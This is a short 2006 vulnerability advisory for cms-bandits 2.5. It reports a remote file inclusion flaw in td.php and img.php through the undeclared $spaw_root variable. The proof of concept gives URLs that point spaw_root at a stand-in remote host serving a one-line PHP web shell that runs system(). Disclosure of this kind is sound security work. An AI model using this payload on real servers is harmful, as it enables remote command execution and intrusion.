-----------------------------------------------------
Advisory id: FSA:006
Author: Federico Fazzi
Date: 08/06/2006, 11:09
Sinthesis: cms-bandits 2.5, Remote command execution
Type: high
Product: http://sourceforge.net/projects/cms-bandits
Patch: unavailable
-----------------------------------------------------
1) Description:
Error occured in td.php,
include $spaw_root.'class/util.class.php';
include $spaw_root.'class/lang.class.php';
Error occured in img.php,
include $spaw_root.'class/util.class.php';
include $spaw_root.'class/lang.class.php';
required register_global = On,
The users can include a remote file because
the $spaw_root is undeclare.
2) Proof of concept:
http://127.0.0.1/cms/dialogs/td.php?spaw_root=[cmd_with_final_slash]
http://127.0.0.1/cms/dialogs/img.php?spaw_root=[cmd_with_final_slash]
[cmd_with_final_slash] = http://example/cmd.php/
cmd.php = <?php system("commands here"); or passthru ?>
3) Solution:
sanitized the variable on img.php, td.php.